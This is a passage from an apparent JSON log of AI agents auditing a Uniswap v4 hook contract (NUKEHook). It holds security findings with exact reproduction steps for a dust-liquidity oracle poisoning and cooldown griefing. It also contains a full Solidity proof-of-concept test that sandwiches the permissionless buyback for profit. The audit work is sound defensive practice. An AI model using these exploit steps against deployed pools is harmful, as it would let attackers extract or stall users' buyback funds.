reference) | 0 | −1,309 IMD |\n\nThe proof at `test/scratch/StaleReferenceSandwich.t.sol` is self-contained, fails on the current code, and passes on a scratch copy where the limit is also capped at 3% beyond spot (attacker then loses 460 IMD). Suggested fix keeps the spec's time-weighted reference and 300 bps bound and only adds the spot cap.\n\n**Coverage:** all eight listed entry points have rows (seven `holds`, `executeBatch` → finding 1), plus four invariant rows. The one residual I did not promote is the documented ability to hold a ~4% reference deviation inside the 4.5% round-trip fee band, for which I found no profitable reproduction.","treeHash":null,"usage":{"cachedInputTokens":2116228,"inputTokens":450,"model":"claude-fable-5-1","outputTokens":47936,"runtime":"claude","turns":32,"wallClockMs":1095779}},{"artifacts":[],"attempt":1,"bundleHash":"246e03d204460c5351b28e18bc7e84abfd62fd80e8f8bd083ea11579404746d9","device":"42a6bb6aa496cd6b","findings":[{"description":"The mechanics specification says executeBatch runs at most once every 3600 seconds with a budget of up to 25% of the accrued paired balance. The implementation only advances lastBatch when spent * 100 >= budget, so a fill below 1% of the budget keeps the NUKE it bought and leaves the interval open. The implementer added this deliberately so a griefer parking the spot a few sqrt-price units inside the limit cannot consume the hourly slot with a few wei, and documents it in README.md. The consequence is that within one hour the hook may spend many times: each call spends less than 0.25% of pending, and anyone who dips the price just below the limit between calls (a small NUKE sale) can trigger another spend at up to the 3% limit. Total spend per hour is still bounded geometrically (roughly 115 cycles to reach 25% of pending) and each cycle costs the griefer the 1% hook fee plus the 1.25% LP fee on the sale, so the price paid stays within the 3% bound the specification allows; this is a deviation from the letter of M1's once-per-hour rule, not a fund-loss path. The test suite asserts the implemented rule (StatefulAccounting.t.sol handler.batch, DustBatch.t.sol) because it cannot assert the specification's rule without failing on accepted behaviour.","line":292,"path":"src/NUKEHook.sol","reproduction":"Local pool at 1:1 with 1e24 liquidity, 1000 IMD donated to the hook, warp 3600 s. Park the spot a few sqrt-price units inside hook.batchPriceLimit() (buy NUKE with that price as the limit), call executeBatch(): it returns spent > 0 but below 2.5 IMD and lastBatch() is unchanged (test_partialFillJustBelowOnePercentLeavesIntervalAvailable in test/DustBatch.t.sol). Sell a little NUKE so the spot is again inside the limit and call executeBatch() in the same hour: expected per specification M1 is a BatchTooSoon revert; actual is another positive spend. Repeat as often as the price is dipped.","severity":"low","title":"executeBatch can spend more than once per hour through fills below the 1% floor"},{"description":"The tick walk stops after MAX_WALK_STEPS = 16 initialized ticks or empty bitmap words and reports found = false, after which the hook carries the previous observation. This is documented and conservative (a carried observation never widens the batch limit, and a batch still crosses the empty region into real liquidity), and the shape that triggers it needs spot to sit in an empty region with at least 16 initialized ticks before the first liquidity that can sell the depth, which in the launch shape is only the region below the opening price where nothing is for sale anyway. Noted so the audit record shows the cap was measured rather than assumed: a swap whose afterSwap walks all 16 steps and gives up spends about 99k gas in the walk versus about 29k in a single-position pool.","line":211,"path":"src/NUKEHook.sol","reproduction":"Local pool, tokenIs0 = true. Remove the main position; add 15 positions of 1e15 liquidity at [60i, 60i + 60] for i = 1..15 (16 initialized ticks at 60..960) and a 1e24 position at [1020, 1140]; move spot to tick 30. hook.askPrice() returns found = false while an exact-output buy of hook.observationDepth() through the PoolManager fills completely inside [1020, 1140]. Expected if the walk were unbounded: found = true at the engine's landing price; actual: not found, observation carried.","severity":"info","title":"askPrice gives up after 16 steps, so 16 dust ticks between spot and liquidity blind the observation"},{"description":"When a segment's floor-rounded available amount equals the remaining depth exactly (avail == need), askPrice computes the price from the amount and lands inside the segment, while core's exact-output swap takes the amountRemaining >= amountOut branch and crosses to the tick's sqrt price. Both are valid readings of the same state; the gap is bounded by the price impact of one wei of NUKE, which is below a tick for any liquidity above about 1e18 and irrelevant at launch depth (about 2.25e24 wei). With wei-scale liquidity the two readings differ by several ticks. No action needed unless exact agreement with the engine is wanted, in which case `avail >= need` would become `avail > need` with the equality case moving to the tick boundary.","line":220,"path":"src/NUKEHook.sol","reproduction":"Observed under forge fuzz seed 0x2a in StatefulAccounting.t.sol before the campaign floored extra positions at 1e18 liquidity: with only a 14049-liquidity position on [-30000, 30000] and a depth of a few wei, hook.askPrice() returned 78989673321567048129031551450 while an exact-output buy of the same depth landed at 78990846045029531151608375686 (about 0.3 tick apart, the engine on a tick boundary).","severity":"info","title":"At the exact-amount segment edge the walk and the swap engine land on different prices"}],"hash":"8f4ad9d6bbdb81020d6090d29ca031612ad8f7ddccd89adf933303840170374a","nodeId":"bcc6abe3-6e02-437a-bd73-5b92ae0191ac","outcome":"completed","summary":"The findings file is in place at the repository root (excluded from git by the harness's own `.git/info/exclude`, which is how it collects it), and the scratch directory is empty. The work is complete.\n\n## Summary\n\n**What changed since my last round.** The implementer replaced the oracle's observation rule: instead of the raw spot tick, the hook now records the price at which 0.25% of the manager's NUKE is purchasable (a 16-step walk over initialized ticks), carries the previous observation when nothing of that size is for sale, clamps each observation to 2000 ticks below the last hour's mean, and only commits the hourly batch slot on fills of at least 1% of the budget. Twelve of my previous-round tests encoded the old rule and failed.\n\n**What I did** (only `test/` touched):\n- `test/helpers/ClaimActor.sol`: added a revert-based ask probe that runs a real exact-output buy of the depth through the PoolManager and rolls it back, plus recording of the pre-settlement manager state the hook saw in `afterSwap`.\n- `test/StatefulAccounting.t.sol`: the handler's oracle model now expects observations from the swap engine's landing price (never the hook's walk), reproduces the band clamp from its own hourly mean, models both observations of a funded batch, checks that nothing but swaps and funded batches move the observed tick, compares `askPrice()` with the engine at every step, and encodes the 1% floor rule for `lastBatch`. New actions: unlimited market orders and extra positions across bitmap word boundaries. Two new deterministic regressions (band clamp on sales only, shaped liquidity).\n- `test/SettlementEdges.t.sol`: the reverted-settlement test now checks the observed tick rather than the spot tick.\n- `test/README.md`: documents the model, its two deliberate tolerances, and gas measurements.\n\n**Results.** `forge build` succeeds. `forge test` offline: 136 passed, 0 failed, 1 skipped (the fork test, which skips without an RPC and was not rerun this round). Both stateful campaigns ran 256 × 96 calls with zero reverts under the default seed and five others.\n\n**Findings reported in `.imd-findings.json`** (none critical or high, so no proof files):\n- **Low:** fills below 1% of the budget leave the interval open, so `executeBatch` can spend repeatedly within one hour when someone dips the price between calls. Bounded per call and price-capped, but a deviation from the \"at most once every 3600 seconds\" rule; the suite asserts the implemented behaviour because it is the accepted design.\n- **Info:** the 16-step walk cap blinds the observation when 16 dust ticks sit between spot and real liquidity (measured: ~99k gas for the walk versus ~29k normally).\n- **Info:** at the exact-amount segment edge the walk and the engine land on different prices, several ticks apart only with wei-scale liquidity.","treeHash":"a3cd6953830d62f62d3cdec2c5a293306c22e813","usage":{"cachedInputTokens":3974227,"inputTokens":674,"model":"claude-fable-5-1","outputTokens":110559,"runtime":"claude","turns":63,"wallClockMs":3238815}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"ce6eaff570c608ab","findings":[{"citation":"resolved","description":"The fix for the zero-liquidity tick push makes _observe() adopt slot0.tick whenever PoolManager.getLiquidity(poolId) is nonzero, and batchPriceLimit() (line 182, same predicate) treats any nonzero-liquidity spot as an executable price. 'Nonzero' is the wrong test: on the launch-shaped pool (NUKE-only position, nothing on the IMD side of the opening price) anyone can add a position with liquidity 1e18 at the extreme usable ticks inside the empty region ([-887220,-887160] when NUKE is currency0, [887160,887220] when it is currency1). At those ticks the IMD-only position costs exactly 1 wei of IMD (amount = L*(sqrtUpper-sqrtLower)/2^96 rounds up to 1). A 1-wei exact-input NUKE sell with sqrtPriceLimitX96 inside that position then crosses the empty region for free (zero fill, zero LP fee, zero hook fee) and stops where active liquidity is 1e18, so the hook adopts tick -887161 (or 887160). Exactly as in the original finding, holding that tick for one 12 s block makes the hourly integral -887161*12, mean floor(-10645932/3600) = -2958, referencePrice() = getSqrtPriceAtTick(-2958) = 68339587790462309910373190710 (0.8625*2^96) while spot is ~2^96, batchPriceLimit() = 69357106608850216497349770849 < spot, and executeBatch() hits `if (tokenIs0 ? spot >= limit : spot <= limit) return (0, 0);` for the entire next hour. Blocking needs mean <= realTick - 296, i.e. ~1.2 s per hour at the extreme tick, so one block per window suffices; repeating it hourly costs gas only (the dust position is placed once) and stalls the buy-back-and-burn indefinitely while IMD accrues. Real traders are unaffected: the next buy traverses the dust position and empty region and lands in the real liquidity (tick 1 / -2 in the proof). Precondition is unchanged from the original finding: spot at the edge of liquidity with an empty region adjacent, which holds at launch, whenever the pool's IMD is sold out (price back at the floor), and whenever the LP position is withdrawn. The same trick also defeats the EmptyBatch rollback at near-zero cost: with liquidity 1 at the dust position and 1 NUKE sold into it, batchPriceLimit() tightens to the dust spot, executeBatch() buys 0.0275 NUKE of the attacker's own tokens for 2 wei of IMD, bought != 0 so EmptyBatch is not raised, and lastBatch is committed (test_dustLiquidityPushConsumesCooldownForFree in test/scratch, both orderings: lastBatch 3601 != 1). Suggested direction: a liquidity-count threshold alone cannot work because liquidity per wei of IMD is unbounded at extreme ticks; combine (a) only adopting an observed tick within a bounded band of the completed-hour reference (e.g. +-2000 ticks per observation, so a single block cannot move the mean by 296 ticks) with (b) requiring active liquidity to be at least a fixed fraction of the largest active liquidity the hook has observed (recorded in _observe), which forces an attacker inside the band to post capital comparable to the launch position; or weight observations by the IMD leg of the actual fill rather than by elapsed time at a tick.","line":268,"path":"src/NUKEHook.sol","reproduction":"Fresh PoolManager; NUKE/IMD pool initialised at 2^96; NUKE-only position of 1_000_000e18 liquidity in [0,12000] (NUKE currency0) or [-12000,0] (NUKE currency1); hook holds 1000e18 IMD (pending() = 1000e18). t = start+100: attacker (any EOA, 1 wei IMD + 1 wei NUKE) adds liquidity 1e18 at [-887220,-887160] (resp. [887160,887220]): ModifyLiquidity delta is -1 wei IMD, 0 NUKE. Attacker swaps SwapParams(zeroForOne = tokenIs0, amountSpecified = -1, sqrtPriceLimitX96 = getSqrtPriceAtTick(tokenIs0 ? -887190 : 887190)). Actual: BalanceDelta (-1, 0) resp. (0, -1), hook fee 0, slot0.tick = -887161 (resp. 887160), getLiquidity() = 1e18 so _observe() adopts it. t = start+112: an unrelated buyer swaps 100e18 IMD for NUKE with the extreme limit; tick returns to 1 (resp. -2), liquidity 1_000_000e18. t = start+3600: referencePrice() == 68339587790462309910373190710 (resp. 91842434098700367769098739518), batchPriceLimit() == 69357106608850216497349770849 (resp. 90495039295324097124871159111), spot == 79235986295312621196881312801 (resp. 79220339505738145951631226753); executeBatch() returns (0, 0), pending() stays 1000e18, lastBatch() stays start. Expected (control, passes): without the dust position and 1-wei sell, executeBatch() returns spent = 250e18 and bought > 0. Run: forge test --match-path test/scratch/DustLiquidityOracle.t.sol -vv -> test_dustLiquidityTickPushBlocksBuyback FAILS in DustLiquidityOracleTest and DustLiquidityOracleReverseTest with 'buyback blocked by a free dust-liquidity tick push: 0 <= 0'; test_control_batchRunsWithoutManipulation passes.","severity":"medium","snippet":"        if (poolManager.getLiquidity(poolId) != 0) (, next.tick,,) = poolManager.getSlot0(poolId);","title":"Zero-liquidity oracle guard is satisfied by a 1-wei dust position in the empty region, so one free swap per hour still blocks every buyback on the launch-shaped pool (reopens 1b77976d)"},{"citation":"resolved","description":"The revision rolls back a batch only when bought == 0 and commits lastBatch for every positive output, however small. The griefing path from the earlier finding is unchanged in cost and effect: instead of parking spot one sqrt-price unit inside batchPriceLimit() (which now rolls back), the griefer parks it 131072 units inside (still far below one tick), executeBatch() spends 3 wei of IMD, burns 1 wei of NUKE and sets lastBatch = block.timestamp, and the next executeBatch() reverts BatchTooSoon until an hour later. The griefer's round trip still moves ~14_524e18 NUKE and costs the same 662e18 IMD in LP and hook fees per hour at the test liquidity, so this remains costed interference rather than theft, which is why it stays low. The author's own test (test/DustBatch.t.sol test_tinyPositiveOutputPartialFillConsumesInterval) asserts the behaviour and the README documents it as accepted. Noted so the record is accurate: the fix addresses the zero-output case only; the vector as reported (a fill of a few wei consuming the hour) reproduces. With the dust-liquidity trick of finding 1 the griefer's cost per hour drops to ~0.03 NUKE plus gas. A minimum-fill floor (e.g. commit lastBatch only when spent >= budget / 100) or a tick of margin before committing the cooldown would close it without changing the hourly cadence for real batches.","line":248,"path":"src/NUKEHook.sol","reproduction":"Local PoolManager, pool initialised at 2^96 with 1_000_000e18 liquidity in [-12000,12000] (either ordering); transfer 400_000e18 IMD to the hook; vm.warp(start + 3600); limit = hook.batchPriceLimit(). Griefer swaps exact-input 1_000_000e18 IMD for NUKE with sqrtPriceLimitX96 = limit - 131072 (NUKE currency0) or limit + 131072 (NUKE currency1): the swap stops there, moving 14_524e18 NUKE. Griefer calls executeBatch(). Actual: returns (spent = 3, burned = 1), lastBatch() == start + 3600, and executeBatch() reverts BatchTooSoon until start + 7200; griefer sells the NUKE back and is down 662e18 IMD. Expected: a batch that bought 1 wei against a 100_000e18 budget should leave the hourly slot available, as the (0, 0) paths do. Scratch run: forge test --match-path test/scratch/ResidualDustFill.t.sol -vv (logs 'batch spent (wei IMD): 3', 'batch burned (wei NUKE): 1', 'lastBatch - start: 3600' in both orderings).","severity":"low","snippet":"        if (bought == 0) revert EmptyBatch();","title":"Dust-fill cooldown griefing is only moved by one wei: a 1-wei-output fill still consumes the full 3600 s interval (051c012b not resolved)"}],"hash":"bb0e3d42ebda967eedf0d7ac8ec98a4bcd57cb670b4de1e7369db300383550aa","nodeId":"2ad1832d-16cb-48ae-b5ec-1ece0458bc02","outcome":"completed","summary":"Review complete. The findings file is at `.imd-findings.json` with two findings and a full coverage record. Only that file and my scratch tests under `test/scratch/` were touched.\n\n**Settled from the previous round**\n\n- **Stale-reference sandwich (medium, b513c7f7): fixed.** Both pinned proofs now pass on the revised code. The spot-tightened limit caps the batch at 3% above execution-time spot, and the attacker's round trip loses 460 IMD after fees. I also checked that the dust-liquidity trick below cannot reopen it: a pushed-high spot only produces a no-op, never an overpaying fill.\n- **Zero-liquidity tick push (medium, 1b77976d): fix does not hold.** The literal 1-wei push through empty liquidity is blocked, but the guard is `getLiquidity != 0`. A position with liquidity 1e18 at the extreme usable ticks inside the empty region costs exactly 1 wei of IMD, and a 1-wei NUKE sell stopping inside it lands the hook on tick -887161 with nonzero liquidity. Twelve seconds there poisons the hourly reference to the same 0.8625×2^96 value as before, and every batch no-ops for the next hour. Reported as finding 1 (medium) with a self-contained proof that fails in both currency orderings and whose control passes. The same trick also lets a batch \"buy\" 0.0275 NUKE of the attacker's own tokens for 2 wei and commit the cooldown.\n- **Dust fill consumes cooldown (low, 051c012b): only the zero-output case is fixed.** Parking spot 131072 sqrt-price units inside the limit yields spent 3 wei, burned 1 wei, and the full hour consumed, at the same 662 IMD griefing cost. The author documented this as accepted. Reported as finding 2 (low) so the record is accurate; it is not blocking.\n- **Fee rounds down (info): author's dispute accepted.** Bounded below 1 wei per swap, intentional, documented.\n\n**Fresh read of the changed lines**\n\nThe `try/catch` on unlock correctly re-raises anything other than the hook's own `EmptyBatch`, resets the operation flag, and leaves `busy` consistent. The oracle casts stay within int24 and int64 bounds. The slither and aderyn leads at the oracle and batch functions are false positives for this code (floor-rounding modulo, intentional interval floor, guarded reentrancy). Full suite: 114 passed, 1 fork test skipped.\n\n**Coverage:** all 8 entry points answered (5 hold, 3 carry a finding), plus 4 rows settling the prior findings.","treeHash":null,"usage":{"cachedInputTokens":1021130,"inputTokens":290,"model":"claude-fable-5-1","outputTokens":40833,"runtime":"claude","turns":24,"wallClockMs":797623}},{"artifacts":[],"attempt":1,"bundleHash":"2b5b11a11edbaa6793f0b4cb1ce6dfc21274d94e0d5bb0b3853b2ce353b9e30f","device":"2bdd77125ec75e6c","findings":[],"hash":"c639987a9162c61ea1bccbef26e03ae40882c2a9a7d3d875f7868b236634629e","nodeId":"9ab6808e-0969-4eac-9f4b-fa291f67f665","outcome":"completed","summary":"`launch.json` is complete and matches the hook as built. Only that file changed.\n\n**What the manifest declares**\n\n- `kind` is the first field, set to `univ4_hook`.\n- Token: contract `NUKE`, name On-Chain Oppenheimer, symbol NUKE, 18 decimals. The token takes no constructor arguments and mints the full 1e27 units to its deployer.\n- Hook: contract `NUKEHook`, constructor args `[\"$poolManager\", \"$token\"]`, matching the constructor's declaration order of `(IPoolManager manager, address launchToken)`.\n- Permissions: beforeInitialize, beforeSwap, afterSwap, afterSwapReturnDelta. These are exactly what `getHookPermissions` returns, and they encode to address bits 0x20c4, which the hook's constant and tests agree on.\n- Pool: pairedCurrency 0xd34a99bc0f67ae1bbd63c660e6d0b0dd03e263b7, fee 12500, tickSpacing 60, initialPrice 79228162514264337593543950336.\n- Notes now spell out that IMD is a compile-time constant in the hook, so it binds to a single PoolKey. They also describe what beforeInitialize accepts and rejects, the fee mechanics, the permissionless sweep and batch functions, and the views. Notes run about 2100 characters, under the 4000 cap.\n\n**Verification**\n\n- A schema-shaped check in Python confirmed field sets, patterns, the permissions enum and field order.\n- `forge build` and `forge test` both passed: 88 tests passed, 0 failed, 1 skipped. The skipped test is the mainnet-fork suite, which skips cleanly without an RPC URL.\n- `git status` shows only `launch.json` modified.\n\nNothing is blocked. The hook needs no owner or factory address, so no placeholder beyond `$poolManager` and `$token` is required.","treeHash":"5de8f4e059a019c4d99d62d9528c84c3d99cc417","usage":{"cachedInputTokens":310272,"inputTokens":162,"model":"claude-fable-5-1","outputTokens":5263,"runtime":"claude","turns":10,"wallClockMs":313786}},{"artifacts":[],"attempt":1,"bundleHash":"95c6a2c86de3b3a11612ea28ba749d167efa34de9fdc66e4c2f04f3a42eb53b8","device":"43ece644a892418a","findings":[],"hash":"d90b3197416b9fe08d40f2c2967f704d3e29cdde6b808aae1c134f89b465b906","nodeId":"9ab6808e-0969-4eac-9f4b-fa291f67f665","outcome":"completed","summary":"Updated [launch.json](/home/imd/.identitymd-1662/work/3737a633-f0a3-48a0-ba69-810f46dd0f21/9ab6808e-0969-4eac-9f4b-fa291f67f665/launch.json) with clarified technical notes. Schema, constructor arguments, permissions, and pool settings verified.\n\nOnly the manifest changed.\n\n- `forge build`: passed.\n- `forge test`: 114 passed, 0 failed; mainnet fork suite skipped because no fork was configured.","treeHash":"c1f5238e768b1fd441f7566b84c7e4a7e0e9ae77","usage":{"cachedInputTokens":952320,"inputTokens":53769,"model":"gpt-6-astra","outputTokens":6349,"runtime":"codex","turns":6,"wallClockMs":347141}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"fe5e46fb044c6af1","findings":[{"citation":"resolved","description":"Merged from audit_economics, audit_permissions and audit_flow (same root cause). executeBatch()'s only slippage guard is batchPriceLimit(), which is sqrt(1.03) beyond referencePrice(), and referencePrice() is the time-weighted mean tick of the LAST COMPLETED launch-aligned hour (_projectOracle, lines 254-271). Inside the current hour the reference never moves, so at second 3599 the anchor is up to 7199 s old, and the current spot is consulted only to decide whether to no-op (line 206). Whenever the market has fallen more than ~5% below the previous hour's mean (routine for a launch token), the limit sits (drop + 3%) above spot and the exact-input batch walks the curve from spot all the way up to that stale limit, paying well above market with the accrued IMD. Because executeBatch() is permissionless and only requires the manager to be locked (so it can sit between two router calls in one transaction), a searcher buys NUKE at the depressed spot, calls executeBatch() (which lifts the price to the stale limit), and sells back into the price the batch created; the round trip pays 2 x (1.25% LP + 1% hook) and is still profitable once the spot-to-limit gap exceeds ~5%. The loss falls on the buyback fund (fewer NUKE burned per IMD), is bounded per hour by 25% of pending() times the overpayment, and recurs every hour the condition holds. The control case (reference == spot) loses money, so the 3% bound only protects the buyback while the reference is fresh. Spec-compatible fix: also bound the limit relative to the current spot, e.g. limit = tokenIs0 ? min(ref*sqrt(1.03), spot*sqrt(1.03)) : max(ref/sqrt(1.03), spot/sqrt(1.03)), and/or use a trailing window ending at block.timestamp so the anchor is at most one hour old.","line":204,"path":"src/NUKEHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams, ModifyLiquidityParams} from \"v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"v4-core/src/libraries/TickMath.sol\";\nimport {StateLibrary} from \"v4-core/src/libraries/StateLibrary.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {NUKE} from \"src/NUKE.sol\";\nimport {NUKEHook} from \"src/NUKEHook.sol\";\n\ncontract PairStandIn is ERC20 {\n    constructor() ERC20(\"Pair\", \"IMD\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// @dev Minimal router: swaps or adds liquidity and settles against the payer's ERC-20 balances.\ncontract Router is IUnlockCallback {\n    IPoolManager public immutable manager;\n\n    constructor(IPoolManager m) {\n        manager = m;\n    }\n\n    function swap(PoolKey memory key, SwapParams memory params) external returns (BalanceDelta) {\n        return abi.decode(manager.unlock(abi.encode(true, msg.sender, key, abi.encode(params))), (BalanceDelta));\n    }\n\n    function liquidity(PoolKey memory key, ModifyLiquidityParams memory params) external returns (BalanceDelta) {\n        return abi.decode(manager.unlock(abi.encode(false, msg.sender, key, abi.encode(params))), (BalanceDelta));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager));\n        (bool isSwap, address payer, PoolKey memory key, bytes memory params) =\n            abi.decode(data, (bool, address, PoolKey, bytes));\n        BalanceDelta delta;\n        if (isSwap) delta = manager.swap(key, abi.decode(params, (SwapParams)), \"\");\n        else (delta,) = manager.modifyLiquidity(key, abi.decode(params, (ModifyLiquidityParams)), \"\");\n        _settle(key.currency0, payer, delta.amount0());\n        _settle(key.currency1, payer, delta.amount1());\n        return abi.encode(delta);\n    }\n\n    function _settle(Currency c, address payer, int128 d) private {\n        if (d < 0) {\n            manager.sync(c);\n            require(IERC20(Currency.unwrap(c)).transferFrom(payer, address(manager), uint256(-int256(d))));\n            manager.settle();\n        } else if (d > 0) {\n            manager.take(c, payer, uint128(d));\n        }\n    }\n}\n\n/// @notice executeBatch() is permissionless and its only slippage guard is 3% beyond the PREVIOUS\n/// completed hour's mean tick. When spot has fallen below that stale reference inside the current\n/// window, an unprivileged caller buys first, triggers the batch (which pays up to ref*1.03 while\n/// the market is lower), and sells back into the price the batch created, netting IMD out of the\n/// hook's accrued buyback funds after paying both 1.25% LP fees and both 1% hook fees.\ncontract StaleReferenceSandwichTest is Test {\n    using StateLibrary for IPoolManager;\n\n    address internal constant IMD = 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7;\n    uint160 internal constant Q96 = 1 << 96;\n\n    IPoolManager manager;\n    NUKE nuke;\n    NUKEHook hook;\n    Router router;\n    PoolKey key;\n    uint256 start;\n\n    function setUp() public {\n        manager = IPoolManager(address(new PoolManager(address(this))));\n        vm.etch(IMD, address(new PairStandIn()).code);\n        PairStandIn(IMD).mint(address(this), 1_000_000_000 ether);\n        nuke = new NUKE();\n        hook = _deployHook(address(nuke));\n        router = new Router(manager);\n        nuke.approve(address(router), type(uint256).max);\n        IERC20(IMD).approve(address(router), type(uint256).max);\n        key = hook.poolKey();\n        start = block.timestamp;\n        manager.initialize(key, Q96);\n        router.liquidity(key, ModifyLiquidityParams(-12000, 12000, int256(1_000_000 ether), bytes32(0)));\n    }\n\n    function _deployHook(address t) internal returns (NUKEHook) {\n        bytes memory init = abi.encodePacked(type(NUKEHook).creationCode, abi.encode(manager, t));\n        bytes32 hash = keccak256(init);\n        for (uint256 i; i < 500_000; ++i) {\n            bytes32 salt = bytes32(i);\n            address predicted =\n                address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, hash)))));\n            if (uint160(predicted) & 0x3fff != 0x20c4 || predicted.code.length != 0) continue;\n            address deployed;\n            assembly (\"memory-safe\") {\n                deployed := create2(0, add(init, 32), mload(init), salt)\n            }\n            require(deployed == predicted, \"CREATE2 failed\");\n            return NUKEHook(deployed);\n        }\n        revert(\"salt search exhausted\");\n    }\n\n    function _trade(address who, bool buyNuke, uint256 exactIn) internal {\n        bool zeroForOne = buyNuke != hook.tokenIs0();\n        vm.prank(who);\n        router.swap(\n            key,\n            SwapParams(\n                zeroForOne, -int256(exactIn), zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1\n            )\n        );\n    }\n\n    function _imdPerNukeE18() internal view returns (uint256) {\n        (uint160 spot,,,) = manager.getSlot0(key.toId());\n        uint256 p = uint256(spot) * uint256(spot) / Q96 * 1e18 / Q96;\n        return hook.tokenIs0() ? p : 1e36 / p;\n    }\n\n    function test_staleReferenceLetsAnyCallerSandwichTheBatch() public {\n        // Accrued buyback funds (equivalently: IMD fee claims from earlier sells).\n        IERC20(IMD).transfer(address(hook), 400_000 ether);\n\n        // First launch-aligned window completes at tick 0: reference = 1.0 IMD/NUKE.\n        vm.warp(start + 3600);\n        assertEq(hook.referencePrice(), Q96);\n\n        // Ordinary market move inside the current, incomplete window: a holder sells 60k NUKE.\n        address seller = makeAddr(\"seller\");\n        nuke.transfer(seller, 60_000 ether);\n        vm.prank(seller);\n        nuke.approve(address(router), type(uint256).max);\n        _trade(seller, false, 60_000 ether);\n        uint256 spotBefore = _imdPerNukeE18();\n        emit log_named_uint(\"spot IMD/NUKE (e18) after the sell\", spotBefore);\n        assertLt(spotBefore, 0.9e18, \"spot fell more than 10% below the reference\");\n        assertEq(hook.referencePrice(), Q96, \"reference still the previous hour\");\n\n        // Unprivileged attacker: buy, trigger the batch, sell back. All within one block.\n        address attacker = makeAddr(\"attacker\");\n        IERC20(IMD).transfer(attacker, 30_000 ether);\n        vm.startPrank(attacker);\n        IERC20(IMD).approve(address(router), type(uint256).max);\n        nuke.approve(address(router), type(uint256).max);\n        vm.stopPrank();\n        uint256 imdBefore = IERC20(IMD).balanceOf(attacker);\n\n        _trade(attacker, true, 30_000 ether);\n        (uint256 spent, uint256 bought) = hook.executeBatch();\n        emit log_named_uint(\"batch spent IMD\", spent);\n        emit log_named_uint(\"batch bought NUKE\", bought);\n        emit log_named_uint(\"batch avg price paid (e18)\", spent * 1e18 / bought);\n        _trade(attacker, false, nuke.balanceOf(attacker));\n\n        int256 profit = int256(IERC20(IMD).balanceOf(attacker)) - int256(imdBefore);\n        emit log_named_int(\"attacker IMD profit after all fees\", profit);\n        assertGt(spent, 0, \"the batch executed\");\n        // A slippage guard that tracks the market makes this round trip lose its 4.5% in fees.\n        assertLe(profit, 0, \"an unprivileged caller extracted IMD from the buyback\");\n    }\n}","reproduction":"Local PoolManager, pool NUKE/IMD fee 12500 spacing 60 initialised at sqrtPrice 2^96 with 1_000_000e18 liquidity in [-12000, 12000] (either currency ordering). (1) Transfer 400_000e18 IMD to the hook (stands in for accrued fee claims; pending() = 400_000e18). (2) vm.warp(init + 3600): hour 0 completes with mean tick 0, referencePrice() == 2^96, batchPriceLimit() == 2^96*sqrt(1.03). (3) A holder sells 60_000e18 NUKE exact-input with no limit: spot falls to 0.8913 IMD/NUKE; referencePrice() is still 2^96 (verified: it is still 2^96 at init + 7199). (4) Attacker, any EOA, in one block: buys NUKE with 30_000e18 IMD exact-input; calls executeBatch(); sells all NUKE received exact-input. Actual: executeBatch() spends 41_721.48e18 IMD for 41_692.49e18 NUKE (average 1.0007 IMD/NUKE against a 0.8913 market, 12.3% above spot) and the attacker ends +1_132.32e18 IMD net of all fees. Without the front-run the batch alone spends 71_721e18 IMD buying from 0.8913 up to 1.03. Expected: a buyback guarded by a 300 bps price limit should not fill 11-12% above the price at the moment it executes, and the sandwich should lose its ~4.5% round-trip fees as it does when reference == spot (control, verified: identical steps without the 60_000e18 sell make the attacker's 30_000e18 buy push spot past the limit, executeBatch() returns (0, 0), and the attacker ends -1_309.01e18 IMD). Run: forge test --match-path test/scratch/Proof_9ef54b206693.t.sol -vv -> FAIL 'an unprivileged caller extracted IMD from the buyback: 1132321047510554980600 > 0'.","severity":"medium","snippet":"        uint160 limit = batchPriceLimit();","title":"Buyback price limit is anchored only to the previous completed hour's mean, so after an intra-hour price drop executeBatch pays far above spot and any caller can sandwich it profitably"},{"citation":"resolved","description":"From audit_math; reproduced in both currency orderings. _observe() records slot0.tick after every swap and _projectOracle() weights the PREVIOUS tick by elapsed seconds; nothing checks that the pool had liquidity at the recorded tick. In v4 a swap whose path crosses a zero-liquidity region moves sqrtPrice all the way to sqrtPriceLimitX96 while filling nothing (SwapMath with liquidity 0 yields amountIn = amountOut = fee = 0 at every step), so a 1-wei exact-input sell with the extreme limit settles a zero BalanceDelta, needs no tokens or allowance, pays no LP or hook fee, and parks slot0.tick at MIN_TICK (NUKE = currency0) or MAX_TICK-1 (NUKE = currency1). The launch pool is exactly that shape: the factory seeds NUKE only, so everything on the far side of the opening tick is empty; the repo's own FreshPoolClaimsTest models it, and the condition recurs whenever price returns to the launch floor (the pool's IMD reserve is sold out) or the LP position is withdrawn. Holding tick -887272 for a single 12 s block in a 3600 s window gives integral -10_647_264 tick-seconds, mean floor(-10_647_264/3600) = -2958, referencePrice() = getSqrtPriceAtTick(-2958) = 0.8625*2^96 (price 0.744), batchPriceLimit() = 0.8753*2^96 (price 0.766) while spot is ~1.0, so executeBatch() hits `if (tokenIs0 ? spot >= limit : spot <= limit) return (0, 0);` (line 206) for the whole next hour although every real trade happened within 1% of spot. Blocking needs only mean <= realTick - 296 (ln1.03/ln1.0001), about 1.2 s per hour at the extreme tick, so one block per window suffices; repeating it hourly for gas only stalls the buy-back-and-burn indefinitely while IMD keeps accruing. The README's claim that the hourly reference 'resists instantaneous manipulation' assumes 